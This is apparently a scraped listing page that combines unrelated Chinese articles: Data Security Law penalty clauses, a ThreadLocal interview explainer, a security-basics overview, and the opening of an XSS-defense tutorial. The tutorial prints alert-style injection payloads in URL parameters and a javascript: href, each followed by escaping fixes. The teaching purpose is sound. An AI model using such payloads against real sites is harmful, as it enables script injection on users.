精华内容
下载资源
问答
  • 中华人民共和国数据安全法 (2021年6月10日第十三届全国人民代表大会常务委员会第二十九次会议通过) 具体细则可以参考政府网站,但我这边强调一下法律责任: 六章 法律责任 第四十四条 有关主管部门在履行...

       中华人民共和国数据安全法

    (2021年6月10日第十三届全国人民代表大会常务委员会第二十九次会议通过)


    具体细则可以参考政府网站,但我这边强调一下法律责任:

                      六章 法律责任

    第四十四条 有关主管部门在履行数据安全监管职责中,发现数据处理活动存在较大安全风险的,可以按照规定的权限和程序对有关组织、个人进行约谈,并要求有关组织、个人采取措施进行整改,消除隐患。

    第四十五条 开展数据处理活动的组织、个人不履行本法第二十七条、第二十九条、第三十条规定的数据安全保护义务的,由有关主管部门责令改正,给予警告,可以并处五万元以上五十万元以下罚款,对直接负责的主管人员和其他直接责任人员可以处一万元以上十万元以下罚款;拒不改正或者造成大量数据泄露等严重后果的,处五十万元以上二百万元以下罚款,并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员五万元以上二十万元以下罚款。

    违反国家核心数据管理制度,危害国家主权、安全和发展利益的,由有关主管部门处二百万元以上一千万元以下罚款,并根据情况责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照;构成犯罪的,依法追究刑事责任。

    第四十六条 违反本法第三十一条规定,向境外提供重要数据的,由有关主管部门责令改正,给予警告,可以并处十万元以上一百万元以下罚款,对直接负责的主管人员和其他直接责任人员可以处一万元以上十万元以下罚款;情节严重的,处一百万元以上一千万元以下罚款,并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处十万元以上一百万元以下罚款。

    第四十七条 从事数据交易中介服务的机构未履行本法第三十三条规定的义务的,由有关主管部门责令改正,没收违法所得,处违法所得一倍以上十倍以下罚款,没有违法所得或者违法所得不足十万元的,处十万元以上一百万元以下罚款,并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照;对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。

    第四十八条 违反本法第三十五条规定,拒不配合数据调取的,由有关主管部门责令改正,给予警告,并处五万元以上五十万元以下罚款,对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。

    违反本法第三十六条规定,未经主管机关批准向外国司法或者执法机构提供数据的,由有关主管部门给予警告,可以并处十万元以上一百万元以下罚款,对直接负责的主管人员和其他直接责任人员可以处一万元以上十万元以下罚款;造成严重后果的,处一百万元以上五百万元以下罚款,并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照,对直接负责的主管人员和其他直接责任人员处五万元以上五十万元以下罚款。

    第四十九条 国家机关不履行本法规定的数据安全保护义务的,对直接负责的主管人员和其他直接责任人员依法给予处分。

    第五十条 履行数据安全监管职责的国家工作人员玩忽职守、滥用职权、徇私舞弊的,依法给予处分。

    第五十一条 窃取或者以其他非法方式获取数据,开展数据处理活动排除、限制竞争,或者损害个人、组织合法权益的,依照有关法律、行政法规的规定处罚。

    第五十二条 违反本法规定,给他人造成损害的,依法承担民事责任。

    违反本法规定,构成违反治安管理行为的,依法给予治安管理处罚;构成犯罪的,依法追究刑事责任。

    展开全文
  • 使用到类似责任链模式,给每个方法增加一个context参数非常麻烦,而且有些时候,如果调用链有无法修改源码的第三方库,对象参数就传不进去了,所以我使用到了ThreadLocal去做了一下改造,这样只需要在调用前在...

    点赞再看,养成习惯,微信搜一搜【敖丙】关注这个互联网苟且偷生的程序员。

    本文 GitHub https://github.com/JavaFamily 已收录,有一线大厂面试完整考点、资料以及我的系列文章。

    开场白

    张三最近天气很热心情不是很好,所以他决定出去面试跟面试官聊聊天排解一下,结果刚投递简历就有人约了面试。

    我丢,什么情况怎么刚投递出去就有人约我面试了?诶。。。真烦啊,哥已经不在江湖这么久了,江湖还是有哥的传说,我还是这么抢手的么?太烦恼了,帅无罪。

    暗自窃喜的张三来到了某东现场面试的办公室,我丢,这面试官?不是吧,这满是划痕的Mac,这发量,难道就是传说中的架构师?

    张三的心态一下子就崩了,出来第一场面试就遇到一个顶级面试官,这谁顶得住啊。

    你好,我是你的面试官Tony,看我的发型应该你能猜到我的身份了,我也话不说,我们直接开始好不好?看你简历写了多线程,来你跟我聊一下ThreadLocal吧,我很久没写代码不太熟悉了,你帮我回忆一下。

    我丢?这TM是人话?这是什么逻辑啊,说是问多线程然后一上来就来个这么冷门的ThreadLocal?心态崩了呀,再说你TM自己忘了不知道下去看看书么,来我这里找答案是什么鬼啊…

    尽管十分不情愿,但是张三还是高速运转他的小脑袋,回忆起了ThreadLocal的种种细节…

    面试官说实话我在实际开发过程中用到ThreadLocal的地方不是很多,我在写这个文章的时候还刻意去把我电脑上几十个项目打开之后去全局搜索ThreadLocal发现除了系统源码的使用,很少在项目中用到,不过也还是有的。

    ThreadLocal的作用主要是做数据隔离,填充的数据只属于当前线程,变量的数据对别的线程而言是相对隔离的,在多线程环境下,如何防止自己的变量被其它线程篡改。

    你能跟我说说它隔离有什么用,会用在什么场景么?

    这,我都说了我很少用了,还问我,难受了呀,哦哦哦,有了想起来了,事务隔离级别。

    面试官你好,其实我第一时间想到的就是Spring实现事务隔离级别的源码,这还是当时我大学被女朋友甩了,一个人在图书馆哭泣的时候无意间发现的。

    Spring采用Threadlocal的方式,来保证单个线程中的数据库操作使用的是同一个数据库连接,同时,采用这种方式可以使业务层使用事务时不需要感知并管理connection对象,通过传播级别,巧妙地管理多个事务配置之间的切换,挂起和恢复。

    Spring框架里面就是用的ThreadLocal来实现这种隔离,主要是在TransactionSynchronizationManager这个类里面,代码如下所示:

    private static final Log logger = LogFactory.getLog(TransactionSynchronizationManager.class);
    
    	private static final ThreadLocal<Map<Object, Object>> resources =
    			new NamedThreadLocal<>("Transactional resources");
    
    	private static final ThreadLocal<Set<TransactionSynchronization>> synchronizations =
    			new NamedThreadLocal<>("Transaction synchronizations");
    
    	private static final ThreadLocal<String> currentTransactionName =
    			new NamedThreadLocal<>("Current transaction name");
    
      ……
    

    Spring的事务主要是ThreadLocal和AOP去做实现的,我这里提一下,大家知道每个线程自己的链接是靠ThreadLocal保存的就好了,继续的细节我会在Spring章节细说的,暖么?

    除了源码里面使用到ThreadLocal的场景,你自己有使用他的场景么?一般你会怎么用呢?

    来了来了,加分项来了,这个我还真遇到过,装B的机会终于来了。

    有的有的面试官,这个我会!!!

    之前我们上线后发现部分用户的日期居然不对了,排查下来是SimpleDataFormat的锅,当时我们使用SimpleDataFormat的parse()方法,内部有一个Calendar对象,调用SimpleDataFormat的parse()方法会先调用Calendar.clear(),然后调用Calendar.add(),如果一个线程先调用了add()然后另一个线程又调用了clear(),这时候parse()方法解析的时间就不对了。

    其实要解决这个问题很简单,让每个线程都new 一个自己的 SimpleDataFormat就好了,但是1000个线程难道new1000个SimpleDataFormat

    所以当时我们使用了线程池加上ThreadLocal包装SimpleDataFormat,再调用initialValue让每个线程有一个SimpleDataFormat的副本,从而解决了线程安全的问题,也提高了性能。

    那……

    还有还有,我还有,您别着急问下一个,让我再加点分,拖延一下面试时间。

    我在项目中存在一个线程经常遇到横跨若干方法调用,需要传递的对象,也就是上下文(Context),它是一种状态,经常就是是用户身份、任务信息等,就会存在过渡传参的问题。

    使用到类似责任链模式,给每个方法增加一个context参数非常麻烦,而且有些时候,如果调用链有无法修改源码的第三方库,对象参数就传不进去了,所以我使用到了ThreadLocal去做了一下改造,这样只需要在调用前在ThreadLocal中设置参数,其他地方get一下就好了。

    before
      
    void work(User user) {
        getInfo(user);
        checkInfo(user);
        setSomeThing(user);
        log(user);
    }
    
    then
      
    void work(User user) {
    try{
    	  threadLocalUser.set(user);
    	  // 他们内部  User u = threadLocalUser.get(); 就好了
        getInfo();
        checkInfo();
        setSomeThing();
        log();
        } finally {
         threadLocalUser.remove();
        }
    }
    

    我看了一下很多场景的cookie,session等数据隔离都是通过ThreadLocal去做实现的。

    对了我面试官允许我再秀一下知识广度,在Android中,Looper类就是利用了ThreadLocal的特性,保证每个线程只存在一个Looper对象。

    static final ThreadLocal<Looper> sThreadLocal = new ThreadLocal<Looper>();
    private static void prepare(boolean quitAllowed) {
        if (sThreadLocal.get() != null) {
            throw new RuntimeException("Only one Looper may be created per thread");
        }
        sThreadLocal.set(new Looper(quitAllowed));
    }
    

    面试官:我丢,这货怎么知道这么多场景?还把Android都扯了出来,不是吧阿sir,下面我要考考他原理了。

    嗯嗯,你回答得很好,那你能跟我说说他底层实现的原理么?

    好的面试官,我先说一下他的使用:

    ThreadLocal<String> localName = new ThreadLocal();
    localName.set("张三");
    String name = localName.get();
    localName.remove();
    

    其实使用真的很简单,线程进来之后初始化一个可以泛型的ThreadLocal对象,之后这个线程只要在remove之前去get,都能拿到之前set的值,注意这里我说的是remove之前。

    他是能做到线程间数据隔离的,所以别的线程使用get()方法是没办法拿到其他线程的值的,但是有办法可以做到,我后面会说。

    我们先看看他set的源码:

    public void set(T value) {
        Thread t = Thread.currentThread();// 获取当前线程
        ThreadLocalMap map = getMap(t);// 获取ThreadLocalMap对象
        if (map != null) // 校验对象是否为空
            map.set(this, value); // 不为空set
        else
            createMap(t, value); // 为空创建一个map对象
    }
    

    大家可以发现set的源码很简单,主要就是ThreadLocalMap我们需要关注一下,而ThreadLocalMap呢是当前线程Thread一个叫threadLocals的变量中获取的。

    ThreadLocalMap getMap(Thread t) {
            return t.threadLocals;
        }
    
    public class Thread implements Runnable {
          ……
    
        /* ThreadLocal values pertaining to this thread. This map is maintained
         * by the ThreadLocal class. */
        ThreadLocal.ThreadLocalMap threadLocals = null;
    
        /*
         * InheritableThreadLocal values pertaining to this thread. This map is
         * maintained by the InheritableThreadLocal class.
         */
        ThreadLocal.ThreadLocalMap inheritableThreadLocals = null;
      
         ……
    

    这里我们基本上可以找到ThreadLocal数据隔离的真相了,每个线程Thread都维护了自己的threadLocals变量,所以在每个线程创建ThreadLocal的时候,实际上数据是存在自己线程Thread的threadLocals变量里面的,别人没办法拿到,从而实现了隔离。

    ThreadLocalMap底层结构是怎么样子的呢?

    面试官这个问题问得好啊,内心暗骂,让我歇一会不行么?

    张三笑着回答道,既然有个Map那他的数据结构其实是很像HashMap的,但是看源码可以发现,它并未实现Map接口,而且他的Entry是继承WeakReference(弱引用)的,也没有看到HashMap中的next,所以不存在链表了。

    static class ThreadLocalMap {
    
            static class Entry extends WeakReference<ThreadLocal<?>> {
                /** The value associated with this ThreadLocal. */
                Object value;
    
                Entry(ThreadLocal<?> k, Object v) {
                    super(k);
                    value = v;
                }
            }
            ……
        }    
    

    结构大概长这样:

    稍等,我有两个疑问你可以解答一下么?

    好呀,面试官你说。

    为什么需要数组呢?没有了链表怎么解决Hash冲突呢?

    用数组是因为,我们开发过程中可以一个线程可以有多个TreadLocal来存放不同类型的对象的,但是他们都将放到你当前线程的ThreadLocalMap里,所以肯定要数组来存。

    至于Hash冲突,我们先看一下源码:

    private void set(ThreadLocal<?> key, Object value) {
               Entry[] tab = table;
                int len = tab.length;
                int i = key.threadLocalHashCode & (len-1);
                for (Entry e = tab[i];
                     e != null;
                     e = tab[i = nextIndex(i, len)]) {
                    ThreadLocal<?> k = e.get();
    
                    if (k == key) {
                        e.value = value;
                        return;
                    }
                    if (k == null) {
                        replaceStaleEntry(key, value, i);
                        return;
                    }
                }
                tab[i] = new Entry(key, value);
                int sz = ++size;
                if (!cleanSomeSlots(i, sz) && sz >= threshold)
                    rehash();
            }
    

    我从源码里面看到ThreadLocalMap在存储的时候会给每一个ThreadLocal对象一个threadLocalHashCode,在插入过程中,根据ThreadLocal对象的hash值,定位到table中的位置i,int i = key.threadLocalHashCode & (len-1)

    然后会判断一下:如果当前位置是空的,就初始化一个Entry对象放在位置i上;

    if (k == null) {
        replaceStaleEntry(key, value, i);
        return;
    }
    

    如果位置i不为空,如果这个Entry对象的key正好是即将设置的key,那么就刷新Entry中的value;

    if (k == key) {
        e.value = value;
        return;
    }
    

    如果位置i的不为空,而且key不等于entry,那就找下一个空位置,直到为空为止。

    这样的话,在get的时候,也会根据ThreadLocal对象的hash值,定位到table中的位置,然后判断该位置Entry对象中的key是否和get的key一致,如果不一致,就判断下一个位置,set和get如果冲突严重的话,效率还是很低的。

    以下是get的源码,是不是就感觉很好懂了:

     private Entry getEntry(ThreadLocal<?> key) {
                int i = key.threadLocalHashCode & (table.length - 1);
                Entry e = table[i];
                if (e != null && e.get() == key)
                    return e;
                else
                    return getEntryAfterMiss(key, i, e);
            }
    
     private Entry getEntryAfterMiss(ThreadLocal<?> key, int i, Entry e) {
                Entry[] tab = table;
                int len = tab.length;
    // get的时候一样是根据ThreadLocal获取到table的i值,然后查找数据拿到后会对比key是否相等  if (e != null && e.get() == key)。
                while (e != null) {
                    ThreadLocal<?> k = e.get();
                  // 相等就直接返回,不相等就继续查找,找到相等位置。
                    if (k == key)
                        return e;
                    if (k == null)
                        expungeStaleEntry(i);
                    else
                        i = nextIndex(i, len);
                    e = tab[i];
                }
                return null;
            }
    

    能跟我说一下对象存放在哪里么?

    在Java中,栈内存归属于单个线程,每个线程都会有一个栈内存,其存储的变量只能在其所属线程中可见,即栈内存可以理解成线程的私有内存,而堆内存中的对象对所有线程可见,堆内存中的对象可以被所有线程访问。

    那么是不是说ThreadLocal的实例以及其值存放在栈上呢?

    其实不是的,因为ThreadLocal实例实际上也是被其创建的类持有(更顶端应该是被线程持有),而ThreadLocal的值其实也是被线程实例持有,它们都是位于堆上,只是通过一些技巧将可见性修改成了线程可见。

    如果我想共享线程的ThreadLocal数据怎么办?

    使用InheritableThreadLocal可以实现多个线程访问ThreadLocal的值,我们在主线程中创建一个InheritableThreadLocal的实例,然后在子线程中得到这个InheritableThreadLocal实例设置的值。

    private void test() {    
    final ThreadLocal threadLocal = new InheritableThreadLocal();       
    threadLocal.set("帅得一匹");    
    Thread t = new Thread() {        
        @Override        
        public void run() {            
          super.run();            
          Log.i( "张三帅么 =" + threadLocal.get());        
        }    
      };          
      t.start(); 
    } 
    

    在子线程中我是能够正常输出那一行日志的,这也是我之前面试视频提到过的父子线程数据传递的问题。

    怎么传递的呀?

    传递的逻辑很简单,我在开头Thread代码提到threadLocals的时候,你们再往下看看我刻意放了另外一个变量:

    Thread源码中,我们看看Thread.init初始化创建的时候做了什么:

    public class Thread implements Runnable {
      ……
       if (inheritThreadLocals && parent.inheritableThreadLocals != null)
          this.inheritableThreadLocals=ThreadLocal.createInheritedMap(parent.inheritableThreadLocals);
      ……
    }
    

    我就截取了部分代码,如果线程的inheritThreadLocals变量不为空,比如我们上面的例子,而且父线程的inheritThreadLocals也存在,那么我就把父线程的inheritThreadLocals给当前线程的inheritThreadLocals

    是不是很有意思?

    小伙子你懂的确实很多,那你算是一个深度的ThreadLocal用户了,你发现ThreadLocal的问题了么?

    你是说内存泄露么?

    我丢,这小子为啥知道我要问什么?嗯嗯对的,你说一下。

    这个问题确实会存在的,我跟大家说一下为什么,还记得我上面的代码么?

    ThreadLocal在保存的时候会把自己当做Key存在ThreadLocalMap中,正常情况应该是key和value都应该被外界强引用才对,但是现在key被设计成WeakReference弱引用了。

    我先给大家介绍一下弱引用:

    只具有弱引用的对象拥有更短暂的生命周期,在垃圾回收器线程扫描它所管辖的内存区域的过程中,一旦发现了只具有弱引用的对象,不管当前内存空间足够与否,都会回收它的内存。

    不过,由于垃圾回收器是一个优先级很低的线程,因此不一定会很快发现那些只具有弱引用的对象。

    这就导致了一个问题,ThreadLocal在没有外部强引用时,发生GC时会被回收,如果创建ThreadLocal的线程一直持续运行,那么这个Entry对象中的value就有可能一直得不到回收,发生内存泄露。

    就比如线程池里面的线程,线程都是复用的,那么之前的线程实例处理完之后,出于复用的目的线程依然存活,所以,ThreadLocal设定的value值被持有,导致内存泄露。

    按照道理一个线程使用完,ThreadLocalMap是应该要被清空的,但是现在线程被复用了。

    那怎么解决?

    在代码的最后使用remove就好了,我们只要记得在使用的最后用remove把值清空就好了。

    ThreadLocal<String> localName = new ThreadLocal();
    try {
        localName.set("张三");
        ……
    } finally {
        localName.remove();
    }
    

    remove的源码很简单,找到对应的值全部置空,这样在垃圾回收器回收的时候,会自动把他们回收掉。

    那为什么ThreadLocalMap的key要设计成弱引用?

    key不设置成弱引用的话就会造成和entry中value一样内存泄漏的场景。

    补充一点:ThreadLocal的不足,我觉得可以通过看看netty的fastThreadLocal来弥补,大家有兴趣可以康康。

    好了,你不仅把我问的都回答了,我不知道的你甚至都说了,ThreadLocal你过关了,不过JUC的面试才刚刚开始,希望你以后越战越勇,最后拿个好offer哟。

    什么鬼,突然这么煽情,不是很为难我的么?难道是为了锻炼我?难为大师这样为我着想,我还一直心里暗骂他,不说了回去好好学了。

    总结

    其实ThreadLocal用法很简单,里面的方法就那几个,算上注释源码都没多少行,我用了十多分钟就过了一遍了,但是在我深挖每一个方法背后逻辑的时候,也让我不得不感慨Josh Bloch 和 Doug Lea的厉害之处。

    在细节设计的处理其实往往就是我们和大神的区别,我认为很多不合理的点,在Google和自己不断深入了解之后才发现这才是合理,真的不服不行。

    ThreadLocal是多线程里面比较冷门的一个类,使用频率比不上别的方法和类,但是通过我这篇文章,不知道你是否有新的认知呢?

    絮叨

    另外,敖丙把自己的面试文章整理成了一本电子书,共 1630页!目录如下,还有我复习时总结的面试题以及简历模板

    现在免费送给大家,在我的公众号三太子敖丙回复 【888】 即可获取。

    我是敖丙,你知道的越多,你不知道的越多,我们下期见!

    人才们的 【三连】 就是敖丙创作的最大动力,如果本篇博客有任何错误和建议,欢迎人才们留言!


    文章持续更新,可以微信搜一搜「 敖丙 」第一时间阅读,关注后回复【资料】有我准备的一线大厂面试资料和简历模板,本文 GitHub https://github.com/JavaFamily 已经收录,有大厂面试完整考点,欢迎Star。

    展开全文
  • 1.信息安全简介 勒索病毒----2013年9月CryptoLocker “永恒之蓝”:主要是利用Windows系统的共享漏洞:445端口等。 “永恒之蓝”传播的勒索病毒以ONION和WNCRY两个家族为主,受 害机器的磁盘文件会被篡改为相应...

    1.信息安全简介

    勒索病毒----2013年9月CryptoLocker

    “永恒之蓝”:主要是利用Windows系统的共享漏洞:445端口等。
    “永恒之蓝”传播的勒索病毒以ONION和WNCRY两个家族为主,受 害机器的磁盘文件会被篡改为相应的后缀,图片、文档、视频、压缩 包等各类资料都无法正常打开,只有支付赎金才能解密恢复。

    挖矿

    2018年WannerMine挖矿,导致很多主机存在蓝屏和卡顿现象

    信息安全:防止任何对数 据进行未授权访问的措施 ,或者防止造成信息有意 无意泄漏、破坏、丢失等 问题的发生,让数据处于 远离危险、免于威胁的状 态或特性。
    网络安全:计算机网络环 境下的信息安全。
    在这里插入图片描述

    2.信息安全的脆弱性及常见的安全攻击

    2.1 网络环境的开放性

    网络环境的一大特点 开放性 对于每个人之间互相连接

    2.2 协议栈本身的脆弱性

    1.缺乏数据源验证机制
    2.缺乏完整性验证
    3.缺乏机密性保障机制

    常见的安全风险
    在这里插入图片描述

    2.2.1 网络的基本攻击模式

    被动威胁:
    截获
    1.嗅探(sniffing)
    2.监听(eavesdropping) •
    主动威胁:
    篡改
    数据包篡改(tampering)
    中断
    拒绝服务(dosing)
    伪造
    欺骗(spoofing)

    (1)物理层

    物理设备破坏
    指攻击者直接破坏网络的各种物理设施,比如服务器设施,或者 网络的传输通信设施等
    设备破坏攻击的目的主要是为了中断网络服务
    物理设备窃听
    光纤监听
    红外监听

    (2)链路层—ARP欺骗
    当A与B需要通讯时: 
    ➢ A发送ARP Request询问B的MAC地址 
    ➢ Hacker冒充B持续发送ARP Reply给A(此时,A会以为接收到的 MAC地址是B的,但是实际上是Hacker的) 
    ➢ 之后A发送给B的正常数据包都会发给Hacker
    
    (3)网络层—ICMP攻击

    在这里插入图片描述

    (4)传输层—TCP SYN Flood攻击

    SYN报文是TCP连接的第一个报文,攻击者通过大量发送SYN 报文,造成大量未完全建立的TCP连接,占用被攻击者的资源

    (5)应用层

    缓冲区溢出攻击
    攻击软件系统的行为中,最常见的 一种方法
    可以从本地实施,也可以从远端实 施
    利用软件系统(操作系统,网络服 务,应用程序)实现中对内存操作 的缺陷,以高操作权限运行攻击代 码
    漏洞与操作系统和体系结构相关, 需要攻击者有较高的知识/技巧

    —web攻击
    常见的WEB攻击

    1. 对客户端
      含有恶意代码的网页,利用浏览器的漏洞,威胁本地系统
    2. 对Web服务器
      利用Apache/IIS…的漏洞 利用CGI实现语言(PHP/ASP/Perl…)和实现流程的漏洞 XSS/SQL/CSRF/上传漏洞/解析漏洞…
    3. 通过Web服务器,入侵数据库,进行横向渗透

    2.3 操作系统的自身漏洞

    人为原因
    在程序编写过程中,为实现不可告人的目的,在程序代码的隐藏 处保留后门。

    ** 客观原因**
    受编程人员的能力,经验和当时安全技术所限,在程序中难免会 有不足之处,轻则影响程序效率,重则导致非授权用户的权限提 升。

    硬件原因
    由于硬件原因,使编程人员无法弥补硬件的漏洞,从而使硬件的 问题通过软件表现。

    2.4 人为因素

    操作失误
    • 恶意的行为
    ➢ 出于政治的、经济的、商业的、或者个人的目的
    ➢ 病毒及破坏性程序、网络黑客
    ➢ 在Internet上大量公开的攻击手段和攻击程序

    3.信息安全的要素

    信息安全的五要素
    • 保密性—confidentiality 
    • 完整性—integrity 
    • 可用性—availability 
    • 可控性—controllability
    • 不可否认性—Non-repudiation
    

    3.1保密性

    保密性:确保信息不暴露给未授权的实体或进程。 • 目的:即使信息被窃听或者截取,攻击者也无法知晓信息的真 实内容。可以对抗网络攻击中的被动攻击。
    举例说明:通过加密技术保障信息的保密性
    在这里插入图片描述

    3.2完整性

    只有得到允许的人才能修改实体或进程,并且能够判别出实体 或进程是否已被修改。完整性鉴别机制,保证只有得到允许的 人才能修改数据 。可以防篡改。
    在这里插入图片描述

    3.3可用性

    得到授权的实体可获得服务,攻击者不能占用所有的资源而阻 碍授权者的工作。用访问控制机制,阻止非授权用户进入网络 。使静态信息可见,动态信息可操作,防止业务突然中断。
    在这里插入图片描述

    3.4可控性

    可控性主要指对危害国家信息(包括利用加密的非法通信活动 )的监视审计。控制授权范围内的信息流向及行为方式。使用 授权机制,控制信息传播范围、内容,必要时能恢复密钥,实 现对网络资源及信息的可控性
    在这里插入图片描述

    3.5不可否认性

    不可否认性:对出现的安全问题提供调查的依据和手段。使用 审计、监控、防抵赖等安全机制,使得攻击者、破坏者、抵赖 者“逃不脱",并进一步对网络出现的安全问题提供调查依据和 手段,实现信息安全的可审查性
    在这里插入图片描述

    4.网络安全法解读

    网络安全法的六大亮点
    在这里插入图片描述

    4.1要求

    (1)网络运营者

    遵守法律、行政法 规,履行网络安全 保护义务
    接受政府和社会的监 督,承担社会责任
    保障网络安全、稳定 运行、维护网络数据 的完整性、保密性、 可用性
    及时处置系统漏洞、计算机病毒 、网络攻击、网络侵入等安全风 险
    不得泄露、篡改、毁损其收集的 个人信息,并确保安全;履行等 保制度
    应急预案、主动向主管部门报告

    (2)关键基础信息设施保护

    安全建设要求
    业务运行稳定可靠,安全技术措施同步规划、 同步建设、同步使用

    安全保护
    明确责任人;安全教育、培训、考核;容 灾备份;应急预案、定期演练

    安全审查
    采购网络产品和服务,应当通过国家安全审查

    保密要求
    签订安全保密协议

    境内存储
    个人信息和重要数据应当在境内存储

    检测评估
    每年至少进行一次检测评估,报送检测评估情况和改进措施

    (3)检测、预警、处置
    在这里插入图片描述
    (4)个人信息保护
    在这里插入图片描述
    (5)面向网络产品和服务提供者

    网络产品和服务提供者即网络产品厂商比如思科、华为、深信服等。
    ◼ 可要求网络产品和服务
    • 符合相关国家标准的强制性要求
    • 不得设置恶性程序,及时告知安全缺陷、漏洞等风险
    • 持续提供安全维护服务,不得自行终止
    ◼ 要求网络关键设备和网络安全专用设备
    • 应当按照相关国家标准的强制性要求,由具备资格的机构安 全认证合规或者安全检测符合要求后,方可销售或者提供

    5.信息安全的整体解决方案

    深信服安全解决方案:
    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    展开全文
  • 前端安全系列:如何防止XSS攻击?

    千次阅读 2019-01-25 13:39:12
    前端安全  随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、...

    前端安全 

    随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。

    近几年,美团业务高速发展,前端随之面临很多安全挑战,因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案,将会做成一个系列,希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。

    本文我们会讲解 XSS ,主要包括:

    1.XSS 攻击的介绍

    2.XSS 攻击的分类

    3.XSS 攻击的预防和检测

    4.XSS 攻击的总结

    5.XSS 攻击案例

    XSS 攻击的介绍

    在开始本文之前,我们先提出一个问题,请判断以下两个说法是否正确:

    1.XSS 防范是后端 RD(研发人员)的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。

    2.所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

    如果你还不能确定答案,那么可以带着这些问题向下看,我们将逐步拆解问题。

    XSS 漏洞的发生和修复

    XSS 攻击是页面被注入了恶意的代码,为了更形象的介绍,我们用发生在小明同学身边的事例来进行说明。

    一个案例

    某天,公司需要一个搜索页面,根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下:

     < input   type = "text"   value = "<%= getParameter("  keyword ") %> ">
     < button > 搜索 </ button > 
     < div > 
      您搜索的关键词是: < %=   getParameter (" keyword ") %> 
     </ div > 
    

    然而,在上线后不久,小明就接到了安全组发来的一个神秘链接:

    http://xxx/search?keyword="><script>alert('XSS');</script>

    小明带着一种不祥的预感点开了这个链接 [请勿模仿,确认安全的链接才能点开] 。果然,页面中弹出了写着”XSS”的对话框。

    可恶,中招了!小明眉头一皱,发现了其中的奥秘:

    当浏览器请求 http://xxx/search?keyword="><script>alert('XSS');</script> 时,服务端会解析出请求参数 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:

     < input   type = "text"   value = "" >  < script >  alert( 'XSS' );  </ script > ">
     < button > 搜索 </ button > 
     < div > 
      您搜索的关键词是:"> < script >  alert( 'XSS' );  </ script > 
     </ div > 
    

    浏览器无法分辨出 <script>alert('XSS');</script> 是恶意代码,因而将其执行。

    这里不仅仅 div 的内容被注入了,而且 input 的 value 属性也被注入, alert 会弹出两次。

    面对这种情况,我们应该如何进行防范呢?

    其实,这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。

    聪明的小明很快找到解决方法,把这个漏洞修复:

     < input   type = "text"   value = "<%= escapeHTML(getParameter("  keyword ")) %> ">
     < button > 搜索 </ button > 
     < div > 
      您搜索的关键词是: < %=   escapeHTML ( getParameter (" keyword ")) %> 
     </ div > 
    

    escapeHTML() 按照如下规则进行转义:

    |字符|转义后的字符| 
    |-|-| 
    |&|&amp;
    |<|&lt;
    |>|&gt;
    |"|&quot;
    |'|&#x27;
    |/|&#x2F;|

    经过了转义函数的处理后,最终浏览器接收到的响应为:

     < input   type = "text"   value = "&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;" > 
     < button > 搜索 </ button > 
     < div > 
      您搜索的关键词是:&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
     </ div > 
    

    恶意代码都被转义,不再被浏览器执行,而且搜索词能够完美的在页面显示出来。

    通过这个事件,小明学习到了如下知识:

    通常页面中包含的用户输入内容都在固定的容器或者属性内,以文本的形式展示。

    攻击者利用这些页面的用户输入片段,拼接特殊格式的字符串,突破原有位置的限制,形成了代码片段。

    攻击者通过在目标网站上注入脚本,使之在用户的浏览器上运行,从而引发潜在风险。

    通过 HTML 转义,可以防止 XSS 攻击。 [事情当然没有这么简单啦!请继续往下看] 。

    注意特殊的 HTML 属性、JavaScript API

    自从上次事件之后,小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置,让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦,于是小明的工作又渐渐变得轻松起来。

    但是,作为导演的我,不可能让小明这么简单、开心地改 Bug 。

    不久,小明又收到安全组的神秘链接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,赶忙点开页面。然而,页面并没有自动弹出万恶的“XSS”。

    小明打开对应页面的源码,发现有以下内容:

     < a href = "<%= escapeHTML(getParameter("  redirect_to ")) %> ">跳转... </ a > 
    

    这段代码,当攻击 URL 为 http://xxx/?redirect_to=javascript:alert('XSS'),服务端响应就成了:

     < a href = "javascript:alert(&#x27;XSS&#x27;)" > 跳转... </ a > 
    

    虽然代码不会立即执行,但一旦用户点击 a 标签时,浏览器会就会弹出“XSS”。

    可恶,又失策了…

    在这里,用户的数据并没有在位置上突破我们的限制,仍然是正确的 href 属性。但其内容并不是我们所预期的类型。

    原来不仅仅是特殊字符,连 javascript: 这样的字符串如果出现在特定的位置也会引发 XSS 攻击。

    小明眉头一皱,想到了解决办法:

     // 禁止 URL 以 "javascript:" 开头 
    xss = getParameter( "redirect_to" ).startsWith( 'javascript:' );
     if  (!xss) {
      <a href= "<%= escapeHTML(getParameter(" redirect_to "))%>" >
        跳转...
      </a>
    }  else  {
      <a href= "/404" >
        跳转...
      </a>
    }
    
